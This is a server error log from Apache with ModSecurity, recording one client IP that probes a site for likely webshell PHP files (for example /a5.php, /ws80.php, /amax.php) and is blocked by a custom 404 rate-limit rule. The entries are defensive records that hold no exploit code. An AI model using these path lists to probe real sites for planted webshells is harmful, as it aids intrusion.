[Thu Apr 23 21:19:45.313264 2026] [:error] [pid 42973:tid 43047] [client 158.158.123.88:31946] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aeoccW6I0QqmmmLTHE0Z2gAAAIQ"]
[Thu Apr 23 21:19:46.235577 2026] [:error] [pid 64998:tid 65021] [client 158.158.123.88:54720] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aeoccoV5EysYcTLjmwh5mQAAAdM"]
[Thu Apr 23 21:19:47.176706 2026] [:error] [pid 64998:tid 65016] [client 158.158.123.88:62838] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aeocc4V5EysYcTLjmwh5oQAAAc4"]
[Thu Apr 23 21:19:47.391594 2026] [:error] [pid 64967:tid 64987] [client 158.158.123.88:4840] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aeocc4AV4GfOOdX8Qzp1QwAAAZI"]
[Thu Apr 23 21:19:48.438473 2026] [:error] [pid 43083:tid 43085] [client 158.158.123.88:4383] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aeocdDC5hrvNXosL83J30AAAAMA"]
[Thu Apr 23 21:19:48.903552 2026] [:error] [pid 42971:tid 43002] [client 158.158.123.88:4500] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aeocdDEP2_5RswrH8bEqaAAAABA"]
[Thu Apr 23 21:19:49.359895 2026] [:error] [pid 25635:tid 25656] [client 158.158.123.88:54109] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeocdcRxv6UsgRGKB3IzigAAARE"]
[Thu Apr 23 21:19:49.992502 2026] [:error] [pid 42973:tid 43057] [client 158.158.123.88:5009] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeocdW6I0QqmmmLTHE0Z-QAAAI4"]
[Thu Apr 23 21:19:50.370063 2026] [:error] [pid 42972:tid 43032] [client 158.158.123.88:54722] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aeocdsOAb-3sOknsk4c62wAAAFA"]
[Thu Apr 23 21:19:50.650614 2026] [:error] [pid 42972:tid 43018] [client 158.158.123.88:31955] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeocdsOAb-3sOknsk4c63QAAAEI"]
[Thu Apr 23 21:19:51.799564 2026] [:error] [pid 42973:tid 43044] [client 158.158.123.88:54740] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeocd26I0QqmmmLTHE0Z_wAAAIE"]
[Thu Apr 23 21:19:52.417651 2026] [:error] [pid 64998:tid 65004] [client 158.158.123.88:4358] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeoceIV5EysYcTLjmwh5rAAAAcI"]
[Thu Apr 23 21:19:53.022049 2026] [:error] [pid 42972:tid 43017] [client 158.158.123.88:54773] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeocecOAb-3sOknsk4c65gAAAEE"]
[Thu Apr 23 21:19:54.645732 2026] [:error] [pid 64998:tid 65007] [client 158.158.123.88:32587] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeoceoV5EysYcTLjmwh5sQAAAcU"]
[Thu Apr 23 21:19:54.871556 2026] [:error] [pid 65000:tid 65055] [client 158.158.123.88:4540] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeocer6vRb9j6psK2ZaD0AAAAhY"]
[Thu Apr 23 21:19:57.508836 2026] [:error] [pid 64998:tid 65006] [client 158.158.123.88:4860] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeocfYV5EysYcTLjmwh5vAAAAcQ"]
[Thu Apr 23 21:19:58.037557 2026] [:error] [pid 65000:tid 65032] [client 158.158.123.88:5020] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeocfr6vRb9j6psK2ZaD3gAAAgM"]
[Thu Apr 23 21:19:59.445338 2026] [:error] [pid 42973:tid 43046] [client 158.158.123.88:65509] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeocf26I0QqmmmLTHE0aLAAAAIM"]
[Thu Apr 23 21:20:00.093656 2026] [proxy_fcgi:error] [pid 42971:tid 42989] [client 158.158.123.88:4493] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:20:00.654717 2026] [proxy_fcgi:error] [pid 42971:tid 43009] [client 158.158.123.88:4493] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:20:00.931984 2026] [proxy_fcgi:error] [pid 42971:tid 43003] [client 158.158.123.88:4493] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:20:00.985016 2026] [proxy_fcgi:error] [pid 59700:tid 59714] [client 158.158.123.88:62837] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:20:01.177228 2026] [proxy_fcgi:error] [pid 42971:tid 42995] [client 158.158.123.88:4493] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:20:01.230836 2026] [proxy_fcgi:error] [pid 59700:tid 59704] [client 158.158.123.88:62837] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:20:01.421400 2026] [proxy_fcgi:error] [pid 42971:tid 42991] [client 158.158.123.88:4493] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:20:01.492115 2026] [proxy_fcgi:error] [pid 59700:tid 59702] [client 158.158.123.88:62837] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:20:01.663140 2026] [proxy_fcgi:error] [pid 42971:tid 42990] [client 158.158.123.88:4493] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:20:01.739652 2026] [proxy_fcgi:error] [pid 59700:tid 59712] [client 158.158.123.88:62837] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:20:01.908705 2026] [proxy_fcgi:error] [pid 42971:tid 43006] [client 158.158.123.88:4493] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:20:01.978273 2026] [:error] [pid 59700:tid 59723] [client 158.158.123.88:62837] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeocgZXyGZJFeAIDWtkoaQAAAVU"]
[Thu Apr 23 21:20:02.146513 2026] [:error] [pid 42971:tid 42997] [client 158.158.123.88:4493] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeocgjEP2_5RswrH8bEqdgAAAAs"]
[Thu Apr 23 21:20:04.012942 2026] [:error] [pid 25635:tid 25645] [client 158.158.123.88:65488] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeochMRxv6UsgRGKB3IzwwAAAQY"]
[Thu Apr 23 21:20:05.154549 2026] [:error] [pid 42972:tid 43035] [client 158.158.123.88:4386] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeochcOAb-3sOknsk4c7AAAAAFM"]
[Thu Apr 23 21:20:05.211977 2026] [:error] [pid 65000:tid 65032] [client 158.158.123.88:34948] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeochb6vRb9j6psK2ZaEDwAAAgM"]
[Thu Apr 23 21:20:06.495980 2026] [:error] [pid 65000:tid 65057] [client 158.158.123.88:34963] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeochr6vRb9j6psK2ZaEGAAAAhg"]
[Thu Apr 23 21:20:06.625195 2026] [:error] [pid 59700:tid 59702] [client 158.158.123.88:4388] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeochpXyGZJFeAIDWtkocQAAAUA"]
[Thu Apr 23 21:20:07.595763 2026] [:error] [pid 65000:tid 65039] [client 158.158.123.88:4370] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeoch76vRb9j6psK2ZaEIAAAAgY"]
[Thu Apr 23 21:20:08.268677 2026] [:error] [pid 46953:tid 46976] [client 158.158.123.88:4829] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeociEnlpdHh-P6wKbo4kgAAAlQ"]
[Thu Apr 23 21:20:09.088716 2026] [:error] [pid 65000:tid 65057] [client 158.158.123.88:28101] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeocib6vRb9j6psK2ZaEJAAAAhg"]
[Thu Apr 23 21:20:10.259560 2026] [:error] [pid 42971:tid 42987] [client 158.158.123.88:5024] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeocijEP2_5RswrH8bEqfQAAAAE"]
[Thu Apr 23 21:20:11.739186 2026] [:error] [pid 65000:tid 65038] [client 158.158.123.88:49582] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeoci76vRb9j6psK2ZaELQAAAgU"]
[Thu Apr 23 21:20:12.205042 2026] [:error] [pid 42972:tid 43023] [client 158.158.123.88:54751] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeocjMOAb-3sOknsk4c7BQAAAEc"]
[Thu Apr 23 21:20:13.690466 2026] [:error] [pid 65000:tid 65031] [client 158.158.123.88:49557] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeocjb6vRb9j6psK2ZaEMAAAAgI"]
[Thu Apr 23 21:20:13.990898 2026] [:error] [pid 42972:tid 43022] [client 158.158.123.88:4830] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeocjcOAb-3sOknsk4c7CAAAAEY"]
[Thu Apr 23 21:20:14.206926 2026] [:error] [pid 42973:tid 43047] [client 158.158.123.88:4357] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeocjm6I0QqmmmLTHE0aQwAAAIQ"]
[Thu Apr 23 21:20:14.749207 2026] [:error] [pid 42972:tid 43032] [client 158.158.123.88:29406] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aeocjsOAb-3sOknsk4c7CwAAAFA"]
[Thu Apr 23 21:20:15.414441 2026] [:error] [pid 42972:tid 43016] [client 158.158.123.88:33265] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aeocj8OAb-3sOknsk4c7DQAAAEA"]
[Thu Apr 23 21:20:15.639967 2026] [:error] [pid 46953:tid 46966] [client 158.158.123.88:54765] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeocj0nlpdHh-P6wKbo4lQAAAko"]
[Thu Apr 23 21:20:16.110941 2026] [:error] [pid 42972:tid 43028] [client 158.158.123.88:48347] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aeockMOAb-3sOknsk4c7DwAAAEw"]
[Thu Apr 23 21:20:16.592526 2026] [:error] [pid 46953:tid 46967] [client 158.158.123.88:31950] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeockEnlpdHh-P6wKbo4lgAAAks"]
[Thu Apr 23 21:20:16.682925 2026] [:error] [pid 43083:tid 43096] [client 158.158.123.88:49584] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aeockDC5hrvNXosL83J35QAAAMs"]
[Thu Apr 23 21:20:17.292778 2026] [:error] [pid 64967:tid 64973] [client 158.158.123.88:5049] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeockYAV4GfOOdX8Qzp1XgAAAYQ"]
[Thu Apr 23 21:20:17.299288 2026] [:error] [pid 64967:tid 64977] [client 158.158.123.88:4822] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeockYAV4GfOOdX8Qzp1XwAAAYg"]
[Thu Apr 23 21:20:17.808273 2026] [:error] [pid 64998:tid 65012] [client 158.158.123.88:28109] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeockYV5EysYcTLjmwh5-gAAAco"]
[Thu Apr 23 21:20:17.967896 2026] [:error] [pid 64998:tid 65021] [client 158.158.123.88:33247] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeockYV5EysYcTLjmwh5_AAAAdM"]
[Thu Apr 23 21:20:18.738772 2026] [:error] [pid 42971:tid 43008] [client 158.158.123.88:33158] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeockjEP2_5RswrH8bEqhwAAABY"]
[Thu Apr 23 21:20:18.918950 2026] [:error] [pid 64998:tid 65016] [client 158.158.123.88:4366] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeockoV5EysYcTLjmwh5_wAAAc4"]
[Thu Apr 23 21:20:19.767469 2026] [:error] [pid 59700:tid 59723] [client 158.158.123.88:4520] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeock5XyGZJFeAIDWtkogwAAAVU"]
[Thu Apr 23 21:20:19.769118 2026] [:error] [pid 59700:tid 59713] [client 158.158.123.88:49589] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeock5XyGZJFeAIDWtkohAAAAUs"]
[Thu Apr 23 21:20:20.409491 2026] [:error] [pid 42973:tid 43065] [client 158.158.123.88:5051] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoclG6I0QqmmmLTHE0aSwAAAJY"]
[Thu Apr 23 21:20:20.453019 2026] [:error] [pid 43083:tid 43089] [client 158.158.123.88:65501] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeoclDC5hrvNXosL83J35gAAAMQ"]
[Thu Apr 23 21:20:21.007461 2026] [:error] [pid 42973:tid 43063] [client 158.158.123.88:65516] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoclW6I0QqmmmLTHE0aTAAAAJQ"]
[Thu Apr 23 21:20:21.574766 2026] [:error] [pid 65000:tid 65057] [client 158.158.123.88:28115] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeoclb6vRb9j6psK2ZaEOAAAAhg"]
[Thu Apr 23 21:20:21.626480 2026] [:error] [pid 65000:tid 65051] [client 158.158.123.88:5004] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoclb6vRb9j6psK2ZaEOQAAAhI"]
